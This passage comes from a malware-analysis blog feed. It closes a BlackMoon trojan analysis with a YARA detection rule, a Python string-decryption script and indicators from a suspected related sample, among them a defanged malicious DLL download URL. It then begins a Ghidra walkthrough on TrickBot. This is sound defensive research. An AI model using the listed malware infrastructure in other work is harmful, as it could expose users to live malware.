sample&nbsp;00eae37eaaee93b8155e6bad95564c3d95d71e7397653ffcbae4f95614ffa723 (May-2016), to the sample&nbsp;80ea86d195bbc4384a1b9a77a2d477e2c4e6dc6d48f3f80447877dbbe41a (June-2018), and to the sample&nbsp;09beec989993806345254ca9adcdb034f8649d8a9633bbe8933a52f5093e (November-2018). So, from my point of view,<strong> </strong>it seems<strong> there are enough evidences to think that there is a BlackMoon version that is under development and currently evolving.</strong></p><h3>5. Yara Rules and Scripts</h3><h4>5.1. BlackMoon Yara Rule</h4><p> Unpacked module:<br><br></p><pre><code>       
rule blackmoon_unpacked {
strings:
        $code1 = { 89 45 ?? 68 01 01 00 80 6A 00 68 ?? 00 00 00 68 01 00 00 00 BB ?? ?? 00 00 E8 ?? ?? ?? ?? 83 C4 10 }
        $code2 = { FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? B9 ?? ?? 00 00 E8 }
condition:
        (all of them)
}
</code></pre><h4>5.2.&nbsp;Script to Extract BlackMoon Encrypted Strings</h4><p> The following script extracts and decrypts the encrypted strings from a BlackMoon unpacked sample:<br><br>python strings_decryptor.py &lt;path to unpacked blackmoon&gt;<br><br></p><pre><code>       

import os
import sys
import binascii
import traceback

#################################################

def rc4(data, key):
    x = 0
    box = range(256)
    for i in range(256):
        x = (x + box[i] + ord(key[i % len(key)])) % 256
        box[i], box[x] = box[x], box[i]
    x = 0
    y = 0
    out = []
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
    return ''.join(out)

#################################################

def findencstrings(s):
    l = []
    laststr = ""
    for i in range(0, len(s)):
        if s[i] in "0123456789ABCDEF":
            laststr += s[i]
        else:
            if ord(s[i])==0 and len(laststr)&gt;=6: l.append(laststr)
            laststr = ""
    return l

#################################################

def decstr(s, k, k2):
    sorig=s
    try:
        if len(s)%2: s = s[0:-1]
        s = binascii.unhexlify(s)
        s = rc4(s, k+k2)
        step1 = s
        if len(s)%2: s = s[0:-1]
        s = binascii.unhexlify(s)
        s = rc4(s, k+k2)
        return True, s
    except Exception as e:
        return False, "ERROR:" + repr(e) + ", string:" + sorig

#################################################

def findkey1(s):
    l = []
    laststr = ""
    for i in range(0, len(s)):
        if s[i] in "0123456789abcdefABCDEF":
            laststr += s[i]
        else:
            if ord(s[i])==0 and len(laststr)&gt;=20 and len(laststr)&lt;=30 and not len(laststr)%2 and laststr not in l: l.append(laststr)
            laststr = ""
    if len(l): return l
    return None

#################################################

def findkey2(s):
    key=""
    for i in range(0x0, len(s)-0x100):
        if s[i:i+8]=="\x68\x01\x01\x00\x80\x6a\x00\x68" and s[i+8] in "0123456789abcdefABCDEF" and s[i+9:i+12]=="\x00\x00\x00":
            key+=s[i+8]
    return key

#################################################

def get_strings_from_pe(s):
    ldecs = []
    lenc = findencstrings(s)
    lk1 = findkey1(s)
    k2 = findkey2(s)
    if lk1 and k2 and lenc:
        for k1 in lk1:
            for i in range(0,len(k2)-6):
                for senc in lenc:
                    decs = decstr(senc, k1, k2[i:i+6])
                    if decs[0]: ldecs.append(decs[1])
    return ldecs

#################################################

def analexe(s):
    decrypted_string_list = []
    try: decrypted_string_list = get_strings_from_pe(s)
    except Exception as e:
        print "blackmoon exception in get_strings_from_pe"
        print traceback.format_exc()
    for e in decrypted_string_list: 
        print "blackmoon decrypted string:", e

#################################################

if __name__ == "__main__":
    if os.path.exists(sys.argv[1]):
        f = open(sys.argv[1], "rb")
        s = f.read()
        f.close()
        analexe(s)
    else:
        print "Incorrect path"

</code></pre><h3>6. Other Notes</h3><h4>6.1. Another sample dated 2018 suspicious of being BlackMoon</h4><p> Once I started to investigate a bit more and to search information about BlackMoon family, I found <a href="https://twitter.com/nao_sec/status/1029148418164195328">a tweet</a> talking about another&nbsp;<a href="https://www.virustotal.com/#/file/a4e8a70e26c4d591c686794dda30c82ba01c53ce1941eedb3d5e81f770129832/details">sample</a>&nbsp;that could be BlackMoon and whose first submission is 2018-08-08.&nbsp;</p><p><br>I toke a quick look at this sample, <a href="https://www.hybrid-analysis.com/sample/2ca672a1f7ad452056d803fe3d3e2637119ebddb4f36fabdaba99b261fa3cb8f">here</a> you can find the unpacked module. Some interesting strings from this unpacked module:<br><br></p><ul><li><p>http://aa.mrmr11[.]cn:8000/fdeee.dll</p></li><li><p>yPBfy0A4q1Y3gvgmREe0r1UR0fZVidMd4V8CB3oKTzNaOYCyPaSVz48Sw5mVifR3sVxYgeM7EyVu6DwnrfAG/AxGgDr+9GIP3cQ59d/eLtPqTBMb7bzrty65ymU5lH4omQOCFGqOfHggHlhjv97kF1eKnstRomin+KSVtT1TWWtI4BqcY6tP7xJBMzDUgouwpGUwzDY4wnnDEU+8B+MtEncFn1EOAXA3ZMW3/3mVwLFpKP9XH6xJSjjJqbXr4y1VqqwH/lZOYnPVcYlpfbmwdOYvbsIwCxLaU1HvWmBiDNxKRTLhhXAn3GuBy5OzbI01IVVnQtG2WrbM2T5Rk6m1+eMW2c90Uouf7pTesS6m8oCNEclwGQNZtpEIZojzjwPSrPUQPxz/sKtHrhMEdl90wI+GyO7mwvrONsO6h+OvYas6f2QgxxiaIYlK/IJIVFM=</p></li><li><p>C:\Program Files\AppPatch\lpDllName</p></li><li><p>360zipUpdate.EXE</p></li></ul><p><br>The original sample was packed with Aspack, as other recent BlackMoon samples. However this first unpacked module doesn't look like BlackMoon: the code, the strings, etc... are totally different.<br><br>Anyway, when I have analyzed this sample, the dll that it tries to download (http://aa.mrmr11[.]cn:8000/fdeee.dll) had been already removed. Maybe that dll was the BlackMoon module. I can't be sure if this sample is BlackMoon or not (<a href="https://app.any.run/tasks/8a1af1dc-3c25-411a-9e08-7cc926b57cc8">this other any.run analysis</a>&nbsp;contains this same IoC: "C:\Program Files\AppPatch\lpDllName", it downloads a dll too, and the second process name is similar format. Maybe same family. This other one was tagged as #trojan #dupzom).</p>]]></content:encoded></item><item><title><![CDATA[Quick Analysis of a Trickbot Sample with NSA's Ghidra SRE Framework]]></title><description><![CDATA[This post is not a deep analysis of TrickBot.]]></description><link>https://www.peppermalware.com/p/quick-analysis-of-trickbot-sample-with</link><guid isPermaLink="false">https://www.peppermalware.com/p/quick-analysis-of-trickbot-sample-with</guid><dc:creator><![CDATA[PepperMalware]]></dc:creator><pubDate>Wed, 06 Mar 2019 03:02:00 GMT</pubDate><enclosure url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This post is not a deep analysis of TrickBot. Here, I did a quick analysis of a TrickBot sample from early 2019 by using the Ghidra Software Reverse Engineering (SRE) Framework, developed by the NSA, that was released some hours ago. This is not a deep analysis of TrickBot, I only wanted to learn a bit about Ghidra and I used this framework to find some interesting parts of the code of TrickBot that were introduced in the newer versions of the malware. Hope you enjoy it!<br><br><br></p><h3>Starting with Ghidra Framework</h3><p><br>About Ghidra, when you start the framework, you should create a project and a workspace:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png" width="320" height="301" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:301,&quot;width&quot;:320,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0T3xd1aItbTq7_1FoqhohC3VxLV2XsBkQqgBIIHhj5WQbvEJXsfxmhFodrrk42Ui-o5F0LuIftWTlHLFO7Vbp2yixzn1TN2dRDFU1GeM1wxiL1cq99Tzq7JoaH5i6ihXMO7TWktcbSI/s320/ghidra_project.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br>Then, we can import files, for example PE files:<br><br><br></p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPYLXC6zyMU2INx9ra9hq44dHEpKwz9MLcQLkQWSGP_4vD4mpDKhMz77bF5-EObbK_2mQVLMvORAtlqa7BTmDbrnalh3koDJBIuf4eaSS-k7PkiuBhyELUB8Zz_0XNyHuTyin-roTD9o/s400/ghidra_import.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPYLXC6zyMU2INx9ra9hq44dHEpKwz9MLcQLkQWSGP_4vD4mpDKhMz77bF5-EObbK_2mQVLMvORAtlqa7BTmDbrnalh3koDJBIuf4eaSS-k7PkiuBhyELUB8Zz_0XNyHuTyin-roTD9o/s400/ghidra_import.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPYLXC6zyMU2INx9ra9hq44dHEpKwz9MLcQLkQWSGP_4vD4mpDKhMz77bF5-EObbK_2mQVLMvORAtlqa7BTmDbrnalh3koDJBIuf4eaSS-k7PkiuBhyELUB8Zz_0XNyHuTyin-roTD9o/s400/ghidra_import.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPYLXC6zyMU2INx9ra9hq44dHEpKwz9MLcQLkQWSGP_4vD4mpDKhMz77bF5-EObbK_2mQVLMvORAtlqa7BTmDbrnalh3koDJBIuf4eaSS-k7PkiuBhyELUB8Zz_0XNyHuTyin-roTD9o/s400/ghidra_import.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPYLXC6zyMU2INx9ra9hq44dHEpKwz9MLcQLkQWSGP_4vD4mpDKhMz77bF5-EObbK_2mQVLMvORAtlqa7BTmDbrnalh3koDJBIuf4eaSS-k7PkiuBhyELUB8Zz_0XNyHuTyin-roTD9o/s400/ghidra_import.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPYLXC6zyMU2INx9ra9hq44dHEpKwz9MLcQLkQWSGP_4vD4mpDKhMz77bF5-EObbK_2mQVLMvORAtlqa7BTmDbrnalh3koDJBIuf4eaSS-k7PkiuBhyELUB8Zz_0XNyHuTyin-roTD9o/s400/ghidra_import.png" width="400" height="247" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPYLXC6zyMU2INx9ra9hq44dHEpKwz9MLcQLkQWSGP_4vD4mpDKhMz77bF5-EObbK_2mQVLMvORAtlqa7BTmDbrnalh3koDJBIuf4eaSS-k7PkiuBhyELUB8Zz_0XNyHuTyin-roTD9o/s400/ghidra_import.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:247,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPYLXC6zyMU2INx9ra9hq44dHEpKwz9MLcQLkQWSGP_4vD4mpDKhMz77bF5-EObbK_2mQVLMvORAtlqa7BTmDbrnalh3koDJBIuf4eaSS-k7PkiuBhyELUB8Zz_0XNyHuTyin-roTD9o/s400/ghidra_import.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPYLXC6zyMU2INx9ra9hq44dHEpKwz9MLcQLkQWSGP_4vD4mpDKhMz77bF5-EObbK_2mQVLMvORAtlqa7BTmDbrnalh3koDJBIuf4eaSS-k7PkiuBhyELUB8Zz_0XNyHuTyin-roTD9o/s400/ghidra_import.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPYLXC6zyMU2INx9ra9hq44dHEpKwz9MLcQLkQWSGP_4vD4mpDKhMz77bF5-EObbK_2mQVLMvORAtlqa7BTmDbrnalh3koDJBIuf4eaSS-k7PkiuBhyELUB8Zz_0XNyHuTyin-roTD9o/s400/ghidra_import.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPYLXC6zyMU2INx9ra9hq44dHEpKwz9MLcQLkQWSGP_4vD4mpDKhMz77bF5-EObbK_2mQVLMvORAtlqa7BTmDbrnalh3koDJBIuf4eaSS-k7PkiuBhyELUB8Zz_0XNyHuTyin-roTD9o/s400/ghidra_import.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h3>Ghidra CodeBrowser</h3><p> Once PE file is imported, CodeBrowser can be launched:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgek5T96A4r5tI0p1v9sCP6wReW5fdwxD3iaR614eVCkBNqW2PSU9EoBhwmU56nMYVV4VOG8Tp0v1P5sCq3jlOcs-nZkUuduRfdJ3KW4kk5HP3ghYg5J6f9KC3jDT5rKLtzBH7Cfsp51L8/s640/ghidra_codebrowser1.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgek5T96A4r5tI0p1v9sCP6wReW5fdwxD3iaR614eVCkBNqW2PSU9EoBhwmU56nMYVV4VOG8Tp0v1P5sCq3jlOcs-nZkUuduRfdJ3KW4kk5HP3ghYg5J6f9KC3jDT5rKLtzBH7Cfsp51L8/s640/ghidra_codebrowser1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgek5T96A4r5tI0p1v9sCP6wReW5fdwxD3iaR614eVCkBNqW2PSU9EoBhwmU56nMYVV4VOG8Tp0v1P5sCq3jlOcs-nZkUuduRfdJ3KW4kk5HP3ghYg5J6f9KC3jDT5rKLtzBH7Cfsp51L8/s640/ghidra_codebrowser1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgek5T96A4r5tI0p1v9sCP6wReW5fdwxD3iaR614eVCkBNqW2PSU9EoBhwmU56nMYVV4VOG8Tp0v1P5sCq3jlOcs-nZkUuduRfdJ3KW4kk5HP3ghYg5J6f9KC3jDT5rKLtzBH7Cfsp51L8/s640/ghidra_codebrowser1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgek5T96A4r5tI0p1v9sCP6wReW5fdwxD3iaR614eVCkBNqW2PSU9EoBhwmU56nMYVV4VOG8Tp0v1P5sCq3jlOcs-nZkUuduRfdJ3KW4kk5HP3ghYg5J6f9KC3jDT5rKLtzBH7Cfsp51L8/s640/ghidra_codebrowser1.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgek5T96A4r5tI0p1v9sCP6wReW5fdwxD3iaR614eVCkBNqW2PSU9EoBhwmU56nMYVV4VOG8Tp0v1P5sCq3jlOcs-nZkUuduRfdJ3KW4kk5HP3ghYg5J6f9KC3jDT5rKLtzBH7Cfsp51L8/s640/ghidra_codebrowser1.png" width="640" height="463" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgek5T96A4r5tI0p1v9sCP6wReW5fdwxD3iaR614eVCkBNqW2PSU9EoBhwmU56nMYVV4VOG8Tp0v1P5sCq3jlOcs-nZkUuduRfdJ3KW4kk5HP3ghYg5J6f9KC3jDT5rKLtzBH7Cfsp51L8/s640/ghidra_codebrowser1.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:463,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgek5T96A4r5tI0p1v9sCP6wReW5fdwxD3iaR614eVCkBNqW2PSU9EoBhwmU56nMYVV4VOG8Tp0v1P5sCq3jlOcs-nZkUuduRfdJ3KW4kk5HP3ghYg5J6f9KC3jDT5rKLtzBH7Cfsp51L8/s640/ghidra_codebrowser1.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgek5T96A4r5tI0p1v9sCP6wReW5fdwxD3iaR614eVCkBNqW2PSU9EoBhwmU56nMYVV4VOG8Tp0v1P5sCq3jlOcs-nZkUuduRfdJ3KW4kk5HP3ghYg5J6f9KC3jDT5rKLtzBH7Cfsp51L8/s640/ghidra_codebrowser1.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgek5T96A4r5tI0p1v9sCP6wReW5fdwxD3iaR614eVCkBNqW2PSU9EoBhwmU56nMYVV4VOG8Tp0v1P5sCq3jlOcs-nZkUuduRfdJ3KW4kk5HP3ghYg5J6f9KC3jDT5rKLtzBH7Cfsp51L8/s640/ghidra_codebrowser1.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgek5T96A4r5tI0p1v9sCP6wReW5fdwxD3iaR614eVCkBNqW2PSU9EoBhwmU56nMYVV4VOG8Tp0v1P5sCq3jlOcs-nZkUuduRfdJ3KW4kk5HP3ghYg5J6f9KC3jDT5rKLtzBH7Cfsp51L8/s640/ghidra_codebrowser1.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><p><br> <br><br>Initially, PE headers are parsed but code is not analyzed, the framework asks you if analyzers should be launched, and what analyzers should be launched. This is the list of analyzers (they are marked the analyzers that are marked by default):<br><br> <br></p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlTzdGpKo5nzxsqorM8X6xYFsdwvMVk5bML88b7VeAX0Eit7qKXfulac-GGf-MK0Etf8i5UX1Da-j95OcTDMZmZqtYUHWuWjVdtY5UN4eK1noXAQA4S5yL4Zm5IFd4EgIrKaEJOlgCdY/s1600/ghidra_analyzers.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlTzdGpKo5nzxsqorM8X6xYFsdwvMVk5bML88b7VeAX0Eit7qKXfulac-GGf-MK0Etf8i5UX1Da-j95OcTDMZmZqtYUHWuWjVdtY5UN4eK1noXAQA4S5yL4Zm5IFd4EgIrKaEJOlgCdY/s1600/ghidra_analyzers.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlTzdGpKo5nzxsqorM8X6xYFsdwvMVk5bML88b7VeAX0Eit7qKXfulac-GGf-MK0Etf8i5UX1Da-j95OcTDMZmZqtYUHWuWjVdtY5UN4eK1noXAQA4S5yL4Zm5IFd4EgIrKaEJOlgCdY/s1600/ghidra_analyzers.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlTzdGpKo5nzxsqorM8X6xYFsdwvMVk5bML88b7VeAX0Eit7qKXfulac-GGf-MK0Etf8i5UX1Da-j95OcTDMZmZqtYUHWuWjVdtY5UN4eK1noXAQA4S5yL4Zm5IFd4EgIrKaEJOlgCdY/s1600/ghidra_analyzers.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlTzdGpKo5nzxsqorM8X6xYFsdwvMVk5bML88b7VeAX0Eit7qKXfulac-GGf-MK0Etf8i5UX1Da-j95OcTDMZmZqtYUHWuWjVdtY5UN4eK1noXAQA4S5yL4Zm5IFd4EgIrKaEJOlgCdY/s1600/ghidra_analyzers.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlTzdGpKo5nzxsqorM8X6xYFsdwvMVk5bML88b7VeAX0Eit7qKXfulac-GGf-MK0Etf8i5UX1Da-j95OcTDMZmZqtYUHWuWjVdtY5UN4eK1noXAQA4S5yL4Zm5IFd4EgIrKaEJOlgCdY/s1600/ghidra_analyzers.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHlTzdGpKo5nzxsqorM8X6xYFsdwvMVk5bML88b7VeAX0Eit7qKXfulac-GGf-MK0Etf8i5UX1Da-j95OcTDMZmZqtYUHWuWjVdtY5UN4eK1noXAQA4S5yL4Zm5IFd4EgIrKaEJOlgCdY/s1600/ghidra_analyzers.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 